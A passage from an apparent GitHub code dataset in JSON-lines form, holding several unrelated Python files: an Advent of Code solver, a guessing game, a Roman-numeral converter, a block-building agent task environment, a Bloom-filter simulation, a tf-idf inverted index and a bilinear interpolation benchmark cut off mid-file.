aoc.get_input(day)\n\nint_prog = [int(code) for code in lines[0].split(',')]\n\n\ndef run_amps(phases: List[int]) -> int:\n amps: List[Processor] = []\n\n for i in range(5):\n amp = Processor(int_prog)\n amp.run_with_input(phases[i])\n amps.append(amp)\n\n var = 0\n while True:\n for i in range(5):\n var_new = amps[i].run_till_output(var)\n if var_new is None:\n break\n var = var_new\n\n if var_new is None:\n break\n return var\n\n\nthurst_max = 0\nphases_max = None\n\nfor phases in permutations(range(5, 10)):\n thurst = run_amps(phases)\n if thurst > thurst_max:\n thurst_max = thurst\n phases_max = phases\n\nresult2 = thurst_max\n\ncorrect = aoc.submit(result2, day, 2)\nprint(f'Answer 2 correct: {correct}')\n","repo_name":"sbremer/adventofcode2019","sub_path":"aoc19_simon/day07_2.py","file_name":"day07_2.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33626612400","text":"import random \r\n\r\ntoprange = input(\"Type a number: \")\r\n\r\nif toprange.isdigit():\r\n toprange= int(toprange)\r\n\r\n if toprange <= 0:\r\n print(\"please type a number larger than 0\")\r\n quit()\r\n \r\nelse: \r\n print(\"please type a number\") \r\n quit()\r\n\r\nrandom_number = (random.randint(0, toprange))\r\nprint(random_number)\r\n\r\nguesses = 0\r\n\r\nwhile True:\r\n guesses += 1\r\n user_guess = input(\"Make a guess: \")\r\n\r\n if user_guess.isdigit():\r\n user_guess = int(user_guess) \r\n else: \r\n print(\"please type a number\") \r\n continue\r\n\r\n if user_guess == random_number:\r\n print(\"You got it!\")\r\n break\r\n else:\r\n print(\"Not this time!\") \r\n\r\nprint (\"You got it in\", guesses, \"guesses \") ","repo_name":"Paul2071/number_guess","sub_path":"number_guessing.py","file_name":"number_guessing.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38568034865","text":"\nroman = {\n 'I': 1,\n 'V': 5,\n 'X': 10,\n 'L': 50,\n 'C': 100,\n 'D': 500,\n 'M': 1000\n}\n\ndef romanToInt(s):\n val = 0\n previous = 0\n for char in s:\n current = roman.get(char)\n print('current', char, current)\n if current > previous:\n val -= previous\n print('current', current)\n print('previous', previous)\n print('sub', current - previous)\n current = current - previous\n print('sub', current)\n val += current\n print('val', val)\n previous = roman.get(char)\n print('----')\n print('value is', val)\n return val\n\ndef romanToIntLoop(s):\n val = 0\n previous = None\n arr = list(s)\n for i in range(len(arr), 0, -1):\n idx = i - 1\n char = arr[idx]\n current = roman.get(char)\n if previous:\n if current < previous:\n current *= -1\n val += current\n previous = roman.get(char)\n return val\n\ns = \"MCMXCIV\"\n# romanToInt(s)\nprint(romanToIntLoop(s))","repo_name":"ronelvcabrera/leetcoding","sub_path":"roman_to_integer.py","file_name":"roman_to_integer.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14236686271","text":"#!/usr/bin/env python3\n\nfrom craft.builder import Block, BlockType, Scene, House, Window, Door, Wall, Course, Tree\nfrom craft.builder import BuilderException\nfrom misc.util import Index\nimport ling\n\nfrom collections import Counter, namedtuple\nimport gflags\nimport numpy as np\nfrom skimage.measure import block_reduce\nfrom skimage.transform import downscale_local_mean\n\nFLAGS = gflags.FLAGS\n\ndef dist(pos1, pos2):\n assert len(pos1) == len(pos2)\n return sum(abs(q1 - q2) for q1, q2 in zip(pos1, pos2))\n\nclass CraftEnv(object):\n GO = 0\n ADD = 1\n REMOVE = 2\n CLONE = 3\n STOP = 4\n SAY = 5\n n_actions = 6\n \n world_shape = Scene._size\n n_block_types = 1 + len(BlockType.enumerate())\n n_world_obs = n_block_types + 1\n n_state_obs = n_block_types + (5 * 5 * 5 * n_block_types)\n\n _action_names = {\n GO: 'g',\n ADD: 'A',\n REMOVE: 'R',\n CLONE: 'C',\n STOP: '.',\n }\n\n def __init__(self):\n self.vocab = Index()\n for word in [\n 'a', 'find', 'add', 'remove', 'clone', 'grass', 'red', 'wood',\n 'blue', 'clear', 'tree', 'house', 'wall', 'door', 'window',\n 'course', 'block', 'in', 'with', 'here', 'tall', 'short',\n ling.START, ling.STOP, ling.UNK]:\n self.vocab.index(word)\n\n ALLOWED = set([\n 'add a wood course',\n 'clone a wood block',\n 'add a course'])\n\n #@classmethod\n def sample_task(self, task_id, interesting=False):\n while True:\n try:\n task = Task.sample(task_id, self)\n if FLAGS.debug and task._nl_desc not in self.ALLOWED:\n continue\n #if interesting and task.action not in (Task.CLONE, Task.ADD, Task.REMOVE):\n # continue\n break\n except BuilderException as e:\n print(e)\n pass\n return task\n\n #@classmethod\n def action_name(cls, action):\n return cls._action_names[action]\n\nclass CraftState(namedtuple('CraftState', ['blocks', 'pos', 'mat'])):\n @classmethod\n def from_scene(cls, scene, pos, mat):\n blocks = np.zeros((CraftEnv.n_block_types,) + CraftEnv.world_shape)\n for block in scene.blocks():\n blocks[(block.block_type.mat_id(),) + block.pos] = 1\n return CraftState(blocks, pos, mat)\n\n def to_scene(self):\n size = self.blocks.shape[1:]\n occupied = (self.blocks.argmax(axis=0) > 0).astype(int)\n\n parts = []\n for x in range(size[0]):\n for y in range(size[1]):\n for z in range(size[2]):\n if not occupied[x, y, z]:\n continue\n parts.append(Block(\n (x, y, z),\n BlockType.with_id(self.blocks[:, x, y, z].argmax())))\n\n return Scene(size, parts, occupied)\n\n def go(self, pos):\n assert (len(pos) == 3 \n and all(0 <= p < l for p, l in zip(pos, self.blocks.shape[1:])))\n return self._replace(pos=pos), (CraftEnv.GO, pos)\n\n def clone(self):\n x, y, z = self.pos\n if not self.blocks[:, x, y, z].any():\n return self, CraftEnv.CLONE\n return self._replace(mat=self.blocks[:, x, y, z].argmax()), (CraftEnv.CLONE, None)\n\n def add(self):\n x, y, z = self.pos\n if self.blocks[:, x, y, z].any():\n return self, CraftEnv.ADD\n blocks = self.blocks.copy()\n blocks[self.mat, x, y, z] = 1\n return self._replace(blocks=blocks), (CraftEnv.ADD, None)\n\n def remove(self):\n x, y, z = self.pos\n if not self.blocks[:, x, y, z].any():\n return self, CraftEnv.REMOVE\n blocks = self.blocks.copy()\n blocks[:, x, y, z] = 0\n return self._replace(blocks=blocks), (CraftEnv.REMOVE, None)\n\n # TODO REFACTOR!!!\n def step(self, full_action):\n action, pos = full_action\n if action == CraftEnv.GO:\n return self.go(pos)[0]\n elif action == CraftEnv.CLONE:\n return self.clone()[0]\n elif action == CraftEnv.ADD:\n return self.add()[0]\n elif action == CraftEnv.REMOVE:\n return self.remove()[0]\n elif action == CraftEnv.STOP:\n return None\n elif action == CraftEnv.SAY:\n return self\n else:\n assert False, \"unknown action %d\" % action\n\n def obs(self):\n pos_features = np.zeros((1,) + CraftEnv.world_shape)\n x, y, z = self.pos\n pos_features[0, x, y, z] = 1\n world_features = np.concatenate((self.blocks, pos_features), axis=0)\n\n def pad_slice(f, w, h, d, x, y, z, data):\n e = np.zeros((f, w+4, h+4, d+4))\n e[:, 2:-2, 2:-2, 2:-2] = data\n ft = e[:, x-2+2:x+3+2, y-2+2:y+3+2, z-2+2:z+3+2]\n assert ft.shape[1:] == (5, 5, 5), \\\n \"bad slice with %d %d %d / %d %d %d\" % (w, h, d, x, y, z)\n return ft\n\n f = CraftEnv.n_block_types\n w, h, d = CraftEnv.world_shape\n local_features = pad_slice(f, w, h, d, x, y, z, self.blocks)\n mat_features = np.zeros((CraftEnv.n_block_types,))\n mat_features[self.mat] = 1\n state_features = np.concatenate((\n local_features.ravel(), mat_features))\n\n return state_features, world_features\n\nclass Task(object):\n FIND = 0\n ADD = 1\n REMOVE = 2\n CLONE = 3\n\n _actions = [FIND, ADD, REMOVE, CLONE]\n _action_probs = [0.3, 0.3, 0.3, 0.1]\n #_action_probs = [0.8, 0., 0., 0.2]\n _action_names = {\n FIND: 'find',\n ADD: 'add',\n REMOVE: 'remove',\n CLONE: 'clone'\n }\n\n @classmethod\n def sample(cls, task_id, env):\n scene1 = Scene.sample()\n action = np.random.choice(cls._actions, p=cls._action_probs)\n\n parts = list(scene1.parts())\n def part_filter(part):\n #if not (isinstance(part, Block) or isinstance(part, Course)):\n # return False\n if (\n isinstance(part, Tree) \n #or isinstance(part, Wall)\n or isinstance(part, House)):\n return False\n if action == cls.ADD and isinstance(part, Block):\n return False\n #if action == cls.ADD and isinstance(part, Wall) and part.incomplete:\n # return False\n #if action == cls.ADD or action == cls.REMOVE:\n # return (\n # not isinstance(part, House) \n # and not isinstance(part, Tree))\n if action == cls.CLONE:\n return (\n not isinstance(part, Window) \n and not isinstance(part, Door))\n return True\n parts = [p for p in parts if part_filter(p)]\n if len(parts) == 0:\n assert False\n part = parts[np.random.randint(len(parts))]\n scene2 = scene1.remove(part)\n\n descs = list(part.descriptions(top=True))\n here = action in (cls.ADD, cls.REMOVE) and np.random.random() < 0.25\n if here:\n desc = descs[0]\n else:\n descs = list(set(descs))\n desc = descs[np.random.randint(len(descs))]\n\n if action == cls.FIND:\n scene_before = scene_after = scene1\n elif action == cls.REMOVE:\n scene_before = scene1\n scene_after = scene2\n elif action == cls.ADD:\n scene_before = scene2\n scene_after = scene1\n elif action == cls.CLONE:\n scene_before = scene_after = scene1\n blocks = list(part.blocks())\n part = blocks[np.random.randint(len(blocks))]\n desc = 'a ' + next(part.block_type.descriptions()) + ' block'\n\n return Task(task_id, action, part, desc, scene_before, scene_after, here, env)\n\n def __init__(self, task_id, action, part, part_desc, scene_before,\n scene_after, here, env):\n self.task_id = task_id\n self.action = action\n self.part = part\n part_target_opts = list(self.part.positions())\n self._part_target = part_target_opts[np.random.randint(len(part_target_opts))]\n self._nl_part_desc = part_desc\n self.here = here\n self._nl_desc = next(self._descriptions())\n self.desc = ling.tokenize(self._nl_desc, env.vocab)\n self.scene_before = scene_before\n self.scene_after = scene_after\n\n init_pos = [np.random.randint(dim) for dim in self.scene_before.size]\n mat_ids = [b.mat_id() for b in BlockType.enumerate()]\n init_mat = np.random.choice(mat_ids)\n self.init_state = CraftState.from_scene(self.scene_before,\n tuple(init_pos), init_mat)\n if here:\n demo = self.demonstration()\n alter = [i for i, (s, (a, _), s_) in enumerate(demo) if a in\n (CraftEnv.ADD, CraftEnv.REMOVE)]\n if len(alter) > 0:\n a_idx = alter[0]\n init_mat = demo[a_idx][0].mat\n init_pos = demo[a_idx][0].pos\n self.init_state = CraftState.from_scene(self.scene_before,\n tuple(init_pos), init_mat)\n\n if here:\n assert self.demonstration()[0][1][0] != CraftEnv.GO\n\n def _descriptions(self):\n here = ' here' if self.here else ''\n yield '%s %s%s' % (self._action_names[self.action], self._nl_part_desc, here)\n\n def demonstration(self):\n if self.action == self.FIND:\n demo, state = self._demonstrate_find(self.init_state)\n elif self.action == self.CLONE:\n demo, state = self._get_mat(self.init_state, self.part.block_type)\n else:\n demo, state = self._demonstrate_change(self.init_state)\n demo.append((state, (CraftEnv.STOP, None), None))\n assert self.validate(demo[-1][0], debug=False) > 0, self._nl_desc\n return demo\n\n def _demonstrate_find(self, state):\n return self._go_to(state, self._part_target)\n\n def _demonstrate_change(self, state):\n blocks_before = set(self.scene_before.blocks())\n blocks_after = set(self.scene_after.blocks())\n to_add = [b for b in self.scene_after.blocks() if b not in blocks_before]\n to_remove = [b for b in self.scene_before.blocks() if b not in blocks_after]\n\n if len(to_remove) == 0:\n remaining = list(reversed(to_add))\n add = True\n elif len(to_add) == 0:\n remaining = to_remove\n add = False\n else:\n assert False, (\"to add\", to_add, \"to remove\", to_remove)\n\n demo = []\n\n build_order = remaining\n\n while len(build_order) > 0:\n nearest = build_order.pop()\n if add and state.mat != nearest.block_type.mat_id():\n ndemo, state = self._get_mat(state, nearest.block_type)\n demo += ndemo\n ndemo, state = self._go_to(state, nearest.pos)\n demo += ndemo\n if add:\n s_, a = state.add()\n state_without = state\n state_with = s_\n else:\n s_, a = state.remove()\n state_with = state\n state_without = s_\n\n nx, ny, nz = nearest.pos\n assert state_with.blocks[:, nx, ny, nz].sum() > 0\n assert state_without.blocks[:, nx, ny, nz].sum() == 0\n\n demo.append((state, a, s_))\n state = s_\n return demo, state\n\n def _get_mat(self, state, block_type):\n blocks_before = self.scene_before.blocks()\n exemplars = [b for b in blocks_before if b.block_type == block_type]\n nearest = min(exemplars, key=lambda x: dist(x.pos, state.pos))\n demo, state = self._go_to(state, nearest.pos)\n s_, a = state.clone()\n demo.append((state, a, s_))\n state = s_\n return demo, state\n\n def _go_to(self, state, dest):\n if state.pos == dest:\n demo = []\n else:\n s_, a = state.go(dest)\n demo = [(state, a, s_)]\n state = s_\n return demo, state\n\n def validate(self, state, debug=False):\n init_pos = self.init_state.pos\n final_pos = state.pos\n\n if debug:\n px, _, pz = final_pos\n px1, pz1 = max(px-2, 0), max(pz-2, 0)\n px2, pz2 = px+2, pz+2\n sl = state.blocks[:, px1:px2+1, :, pz1:pz2+1].sum(axis=(0, 2))\n\n goal_pos = self.demonstration()[-1][0].pos\n gx, _, gz = goal_pos\n gx1, gz1 = max(gx-2, 0), max(gz-2, 0)\n gx2, gz2 = gx+2, gz+2\n gl = state.blocks[:, gx1:gx2+1, :, gz1:gz2+1].sum(axis=(0, 2))\n #print(\"sl\")\n #print(sl)\n #print(\"gl\")\n #print(gl)\n #print(\"everything\")\n #print(state.blocks.sum(axis=(0, 2)))\n\n if self.action == self.FIND:\n return self._validate_find(final_pos, debug=debug)\n elif self.action == self.CLONE:\n return self._validate_clone(state.mat, debug=debug)\n elif self.action == self.ADD:\n return self._validate_add(state)\n elif self.action == self.REMOVE:\n return self._validate_remove(state)\n else:\n return 1\n\n def _validate_find(self, final_pos, debug=True):\n parts = [part for part in self.scene_before.parts() if final_pos in part.positions()]\n if len(parts) == 0:\n return 0.\n descs = [desc for part in parts for desc in part.descriptions(top=True)]\n if(debug):\n print(descs)\n if self._nl_part_desc in descs:\n return 1.\n return 0.\n\n def _validate_clone(self, final_mat, debug=True):\n if debug:\n print(BlockType.with_id(final_mat).material)\n if final_mat == self.part.block_type.mat_id():\n return 1.\n return 0.\n\n def _get_delta(self, state):\n parts = [\n p for p in self.scene_before.parts()\n if isinstance(p, type(self.part))]\n parts = [\n p for p in parts\n if self._nl_part_desc in p.descriptions(top=True)]\n\n init_blocks = self.init_state.blocks.sum(axis=0)\n final_blocks = state.blocks.sum(axis=0)\n\n added = np.where(final_blocks > init_blocks)\n removed = np.where(init_blocks > final_blocks)\n\n if len(added[0]) == 0:\n added_shape = added_missing = None\n else:\n added_bbox = ([min(a) for a in added], [max(a)+1 for a in added])\n ((x1, y1, z1), (x2, y2, z2)) = added_bbox\n box_blocks = final_blocks[x1:x2, y1:y2, z1:z2]\n added_missing = box_blocks.size - box_blocks.sum()\n added_shape = (x2-x1, y2-y1, z2-z1)\n if len(removed[0]) == 0:\n removed_shape = removed_missing = None\n else:\n removed_bbox = ([min(r) for r in removed], [max(r)+1 for r in removed])\n ((x1, y1, z1), (x2, y2, z2)) = removed_bbox\n box_blocks = final_blocks[x1:x2, y1:y2, z1:z2]\n removed_missing = box_blocks.sum()\n removed_shape = (x2-x1, y2-y1, z2-z1)\n\n return added_shape, added_missing, removed_shape, removed_missing, parts\n\n #a_x, a_y, a_z = added\n #a_x, a_y, a_z = set(a_x), set(a_y), set(a_z)\n #added_distinct = sorted([len(a_x), len(a_y), len(a_z)])\n #r_x, r_y, r_z = removed\n #r_x, r_y, r_z = set(r_x), set(r_y), set(r_z)\n #removed_distinct = sorted([len(r_x), len(r_y), len(r_z)])\n\n #return added_distinct, removed_distinct, parts\n\n def _validate_add(self, state):\n added_shape, added_missing, removed_shape, removed_missing, _ = self._get_delta(state)\n\n # TODO actually located in wall\n if isinstance(self.part, Window):\n return float(\n added_shape is None\n and removed_shape is not None\n and removed_missing == 0\n and removed_shape == (1, 1, 1))\n\n # TODO actually located in wall\n elif isinstance(self.part, Door):\n return float(\n added_shape is None\n and removed_shape is not None\n and removed_missing == 0\n and removed_shape == (1, 2, 1))\n\n # TODO validate block type\n elif isinstance(self.part, Course):\n return float(\n removed_shape is None\n and added_shape is not None\n and added_missing <= 1\n and added_shape[1] == 1\n and ((added_shape[0] == 1 and added_shape[2] > 1)\n or (added_shape[2] == 1 and added_shape[0] > 1)))\n\n elif isinstance(self.part, Wall):\n return float(\n removed_shape is None\n and added_shape is not None\n and added_missing <= 3\n and added_shape[1] >= 1\n and ((added_shape[0] == 1 and added_shape[2] > 1)\n or (added_shape[2] == 1 and added_shape[0] > 1)))\n\n print(self._nl_desc)\n assert False\n\n def _validate_remove(self, state):\n added_shape, added_missing, removed_shape, removed_missing, candidates = self._get_delta(state)\n\n if isinstance(self.part, Block):\n removed = [\n not state.blocks[:, p.pos[0], p.pos[1], p.pos[2]].any()\n for p in candidates]\n return float(\n added_shape is None\n and removed_shape is not None\n and removed_shape == (1, 1, 1)\n and any(removed))\n\n if isinstance(self.part, Window) or isinstance(self.part, Door):\n filled = []\n for p in candidates:\n # TODO global property of wall\n mat = next(p.parent[0].blocks()).block_type.mat_id()\n filled.append(all(\n state.blocks[mat, x, y, z] == 1\n for x, y, z in p.positions()))\n return float(\n removed_shape is None\n and any(filled))\n\n if isinstance(self.part, Course) or isinstance(self.part, Wall):\n removed = []\n for p in candidates:\n removed.append(all(\n not state.blocks[:, x, y, z].any()\n for x, y, z in p.positions()))\n return float(\n added_shape is None\n and any(removed))\n\n print(self._nl_desc)\n assert False\n","repo_name":"jacobandreas/hl3","sub_path":"craft/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":18613,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"14589275265","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 12 23:52:34 2020\r\n\r\n@author: youle\r\n\"\"\"\r\n\r\nimport numpy as np\r\n\r\ndef bloom(k, n, m):\r\n bit = np.zeros(n)\r\n div = int(n / k)\r\n\r\n for x in range(m):\r\n for i in range(k):\r\n bit[np.random.randint(div) + i * div] = 1\r\n\r\n check = [[x] for x in range(div)]\r\n\r\n for i in range(k-1):\r\n check = [ x + [y] for x in check for y in range(div)]\r\n\r\n c = map(lambda x: bit[x[0]] * bit[x[1] + div] * bit[x[2] + 2*div], check)\r\n\r\n return sum(c)/len(check)\r\n\r\nl = []\r\nfor i in range(100):\r\n l.append(bloom(3, 200, 100))\r\nprint(sum(l)/len(l))\r\n\r\n","repo_name":"youle921/assingment_programmings","sub_path":"Intelligent_Media_Processing/src/bloom.py","file_name":"bloom.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41899242094","text":"# -*- coding: utf-8 -*-\n\nimport re\nimport unicodedata\nimport math\nclass IndiceInvertido:\n\n\tdef __init__(self, lista_documentos):\n\t\tself.tf = {}\n\t\tself.df = {}\n\t\tself.idf = {}\n\t\tself.nomes_documentos = lista_documentos\n\t\tself.arquivos_adequados = self.adequa_doc()\n\t\tself.palavra_pos = self.palavra_pos()\n\t\tself.indice_final = self.indice_invertido()\n\t\t#self.vectors = self.vectorize()\n\t\t#self.normas = self.norma_vetor(self.nomes_documentos)\n\t\tself.preenche_pontuacao()\n\n\n\n\t@staticmethod\n\tdef removerAcentosECaracteresEspeciais(palavra):\n\n\t # Unicode normalize transforma um caracter em seu equivalente em latin.\n\t nfkd = unicodedata.normalize('NFKD', palavra)\n\t palavraSemAcento = u\"\".join([c for c in nfkd if not unicodedata.combining(c)])\n\n\t # Usa expressão regular para retornar a palavra apenas com números, letras e espaço\n\t return re.sub('[^a-zA-Z0-9 ]', '', palavraSemAcento)\n\n\n\tdef adequa_doc(self):\n\t\t'''Adequa(separa as palavras, retira acentos e etc) as palavras da lista de documentos da instância atual.'''\n\n\n\t\tarquivos_adequados = {}\n\t\taux_list = list()\n\t\tfor file in self.nomes_documentos:\n\t\t\tpattern = re.compile('[\\W_]+')\n\t\t\ttry:\n\t\t\t\tarquivos_adequados[file] = open(file, 'r', encoding='utf-8').read().lower()\n\t\t\texcept:\n\t\t\t\traise ValueError(\"Arquivo não existe!\")\n\t\t\tarquivos_adequados[file] = pattern.sub(' ',arquivos_adequados[file])\n\t\t\tarquivos_adequados[file] = self.removerAcentosECaracteresEspeciais(arquivos_adequados[file])\n\t\t\taux_list.append(arquivos_adequados[file])\n\t\t\tre.sub(r'[\\W_]+','', arquivos_adequados[file])\n\t\t\tarquivos_adequados[file] = arquivos_adequados[file].split()\n\t\t\t\n\t\treturn arquivos_adequados\n\n\tdef indexa_palavra(self, lista_palavras):\n\t\t'''Indexa uma lista de palavras, mapeando cada palavra a sua posição no seu respectivo documento.'''\n\t\tarquivo_indexado = {}\n\t\tfor indice, palavra in enumerate(lista_palavras):\n\t\t\tif palavra in arquivo_indexado.keys():\n\t\t\t\tarquivo_indexado[palavra].append(indice)\n\t\t\telse:\n\t\t\t\tarquivo_indexado[palavra] = [indice]\n\t\treturn arquivo_indexado\n\n\tdef cria_indice(self, lista_documentos):\n\t\t'''Indexa um conjunto de arquivos, mandando cada arquivo para \"indexa_palavra()\" e juntando tudo num dicionário \"dict_completo\" '''\n\t\t'''Recebe um dicionário onde as chaves são os documentos e os valores são as palavras desse documento\n\t\t e retorna um dicionário que tem como chaves o nome do documento e como valor a posição de cada palavra nesse documento'''\n\t\tdict_completo = {}\n\t\tfor nome_documento in lista_documentos.keys():\n\t\t\tdict_completo[nome_documento] = self.indexa_palavra(lista_documentos[nome_documento])\n\t\t\t#print(lista_documentos[nome_documento])\n\t\treturn dict_completo\n\n\tdef indiceFinal(self):\n\t\tindice_final = {}\n\t\tindice_posicao = self.palavra_pos\n\t\tfor filename in indice_posicao.keys():\n\t\t\tself.tf[filename] = {}\n\t\t\tfor palavra in indice_posicao[filename].keys():\n\t\t\t\tself.tf[filename][palavra] = len(indice_posicao[filename][palavra])\n\t\t\t\tif palavra in self.df.keys():\n\t\t\t\t\tself.df[palavra] += 1\n\t\t\t\telse:\n\t\t\t\t\tself.df[palavra] = 1 \n\t\t\t\tif palavra in indice_final.keys():\n\t\t\t\t\tif filename in indice_final[palavra].keys():\n\t\t\t\t\t\tindice_final[palavra][filename].append(indice_posicao[filename][palavra][:])\n\t\t\t\t\telse:\n\t\t\t\t\t\tindice_final[palavra][filename] = indice_posicao[filename][palavra]\n\t\t\t\telse:\n\t\t\t\t\tindice_final[palavra] = {filename: indice_posicao[filename][palavra]}\n\t\t##Frequência de cada palavra em cada documento\n\t\t#print(self.tf)\n\t\t\n\t\t##Frequência de cada palavra levando em conta todo o dataset\n\t\t#print(self.df)\n\t\treturn indice_final\n\t\n\t###Esta seria uma outra abordagem que seria criar o vetor para cada documentos considerando dimensão n, onde\n\t### seria a quantidade de palavras distintas daquele vetor, isto implicaria em vetores de documentos\n\t### de dimensionalidade diferentes\n\n\t### A abordagem que será utilizada será a de vetorizar o documentos levando em conta as palavras distintas de todo o banco de dados\n\t### e não a quantida de palavras distintas de cada documentos, isto vai implicar que todos os vetores de documentos terão a mesma dimensão\n\n\t#def vectorize(self):\n\t#\tvectors = {}\n\t#\tfor filename in self.nomes_documentos:\n\t#\t\tvectors[filename] = [len(self.palavra_pos[filename][palavra]) for palavra in self.palavra_pos[filename].keys()]\n\t#\treturn vectors\n\n\n\tdef numero_documentos(self):\n\t\treturn len(self.nomes_documentos)\n\n\t### Não vamos utilizar a norma nesse caso\n\t#def norma_vetor(self, docuentos):\n\t#\tnormas = {}\n\t#\tfor document in docuentos:\n\t#\t\tnormas[document] = pow(sum(map(lambda x: x**2, self.vectors[document])),.5)\n\t#\treturn normas\n\n\t\n\tdef frequencia_palavra(self, palavra, documento):\n\t\t'''Retorna quantas vezes a \"palavra\" apareceu no \"documento\" '''\n\t\treturn self.tf[documento][palavra] if palavra in self.tf[documento].keys() else 0\n\n\tdef preenche_pontuacao(self): \n\t\t'''Retorna as \"pontuações da instância atual, df, tf e idf\" '''\n\t\tfor nome_documento in self.nomes_documentos:\n\t\t\tfor palavra in self.vocabulario():\n\t\t\t\tself.tf[nome_documento][palavra] = self.frequencia_palavra(palavra, nome_documento)\n\t\t\t\tif palavra in self.df.keys():\n\t\t\t\t\tself.idf[palavra] = self.calcula_idf(self.numero_documentos(), self.df[palavra]) \n\t\t\t\telse:\n\t\t\t\t\tself.idf[palavra] = 0\n\t\treturn self.df, self.tf, self.idf\n\n\tdef calcula_idf(self, N, Nx):\n\t\tif Nx != 0:\n\t\t\treturn math.log(N/Nx)\n\t\telse:\n\t\t \treturn 0\n\n\tdef calcula_pontuacao(self, term, document):\n\t\t'''Faz o calculo do tfxidf'''\n\t\treturn self.tf[document][term] * self.idf[term]\n\n\tdef indice_invertido(self):\n\t\t#print(self.indiceFinal())\n\t\treturn self.indiceFinal()\n\n\tdef palavra_pos(self):\n\t\t'''Retorna uma lista de cada palavra da instância atual mapeada com a posição em que ela aparece no documento.'''\n\t\treturn self.cria_indice(self.arquivos_adequados)\n\n\tdef vocabulario(self):\n\t\t\"\"\"Retorna as chaves do índice invertido final que nada mais são do que as palavras distintas presentes no banco de dados.\"\"\"\n\t\treturn self.indice_final.keys()\n\n\nx = IndiceInvertido(['d1.txt', 'd2.txt', 'd3.txt', 'd4.txt'])\ny = IndiceInvertido(['doc1.txt', 'doc2.txt', 'doc3.txt'])\n\n","repo_name":"thiagosantos0/TP---PDS","sub_path":"indice_invertido.py","file_name":"indice_invertido.py","file_ext":"py","file_size_in_byte":6102,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8163007837","text":"#!/usr/bin/env python3\n\n\"\"\"Bilinear Intopolation\n\n\"\"\"\n\nimport numpy as np\n\nfrom tests.grid_sample.numpy.baselines import (\n baseline_scipy_linear,\n baseline_cv2_linear,\n)\nfrom tests.grid_sample.helpers import create_batch_data, make_copies\nfrom tests.helpers.benchmarking import check_close, mae, mse\nfrom tests.helpers.timer import func_timer\n\n\ndef naive_bilinear(\n img: np.ndarray, grid: np.ndarray, out: np.ndarray\n) -> np.ndarray:\n \"\"\"Simple bilinear interpolation\n\n NOTE: `img` and `grid` are 4 dim\n \"\"\"\n\n _, _, h_in, w_in = img.shape\n b_out, _, h_out, w_out = out.shape\n\n def interp(v0, v1, d, L):\n return v0 * (1 - d) / L + v1 * d / L\n\n def interp2d(q00, q10, q01, q11, dy, dx):\n f0 = interp(q00, q01, dx, 1)\n f1 = interp(q10, q11, dx, 1)\n return interp(f0, f1, dy, 1)\n\n for b in range(b_out):\n for y_out in range(h_out):\n for x_out in range(w_out):\n y_in = grid[b, 0, y_out, x_out]\n x_in = grid[b, 1, y_out, x_out]\n y_min = np.floor(y_in).astype(np.int64)\n x_min = np.floor(x_in).astype(np.int64)\n y_max = y_min + 1\n x_max = x_min + 1\n dy = y_in - y_min\n dx = x_in - x_min\n\n # grid wrap\n y_min %= h_in\n x_min %= w_in\n y_max %= h_in\n x_max %= w_in\n\n p00 = img[b, :, y_min, x_min]\n p10 = img[b, :, y_max, x_min]\n p01 = img[b, :, y_min, x_max]\n p11 = img[b, :, y_max, x_max]\n\n out[b, :, y_out, x_out] = interp2d(p00, p10, p01, p11, dy, dx)\n\n return out\n\n\ndef faster_bilinear(\n img: np.ndarray, grid: np.ndarray, out: np.ndarray\n) -> np.ndarray:\n \"\"\"Faster way of achieving bilinear without numba\"\"\"\n\n b_in, _, h_in, w_in = img.shape\n\n def interp(v0, v1, d, L):\n return v0 * (1 - d) / L + v1 * d / L\n\n def interp2d(q00, q10, q01, q11, dy, dx):\n f0 = interp(q00, q01, dx, 1)\n f1 = interp(q10, q11, dx, 1)\n return interp(f0, f1, dy, 1)\n\n min_grid = np.floor(grid).astype(np.int64)\n max_grid = min_grid + 1\n d_grid = grid - min_grid\n\n max_grid[:, 0, :, :] %= h_in\n max_grid[:, 1, :, :] %= w_in\n\n # FIXME: any way to do efficient batch?\n for b in range(b_in):\n dy = d_grid[b, 0, ...]\n dx = d_grid[b, 1, ...]\n min_ys = min_grid[b, 0, ...]\n min_xs = min_grid[b, 1, ...]\n max_ys = max_grid[b, 0, ...]\n max_xs = max_grid[b, 1, ...]\n\n p00 = img[b][:, min_ys, min_xs]\n p10 = img[b][:, max_ys, min_xs]\n p01 = img[b][:, min_ys, max_xs]\n p11 = img[b][:, max_ys, max_xs]\n\n out[b, ...] = interp2d(p00, p10, p01, p11, dy, dx)\n\n return out\n\n\ndef bench_against_baselines():\n dtype_img = np.dtype(np.float64)\n dtype_grid = np.dtype(np.float32)\n b = 2\n c = 3\n h = 256\n w = 512\n h_grid = 64\n w_grid = 128\n\n img, grid, out = create_batch_data(\n b=b,\n c=c,\n h=h,\n w=w,\n h_grid=h_grid,\n w_grid=w_grid,\n move_grid=False,\n rand_img=False,\n rand_grid=False,\n dtype_img=dtype_img,\n dtype_grid=dtype_grid,\n )\n\n out_scipy = make_copies(out)\n out_cv2 = make_copies(out)\n out_naive = make_copies(out)\n out_faster = make_copies(out)\n\n out_scipy = func_timer(baseline_scipy_linear)(img, grid, out_scipy)\n out_cv2 = func_timer(baseline_cv2_linear)(img, grid, out_cv2)\n out_naive = func_timer(naive_bilinear)(img, grid, out_naive)\n out_faster = func_timer(faster_bilinear)(img, grid, out_faster)\n\n print(\"scipy vs naive\")\n print(\"close?\", check_close(out_naive, out_scipy))\n print(\"MSE\", mse(out_naive, out_scipy))\n print(\"MAE\", mae(out_naive, out_scipy))\n\n print(\"cv2 vs naive\")\n print(\"close?\", check_close(out_naive, out_cv2))\n print(\"MSE\", mse(out_naive, out_cv2))\n print(\"MAE\", mae(out_naive, out_cv2))\n\n print(\"faster 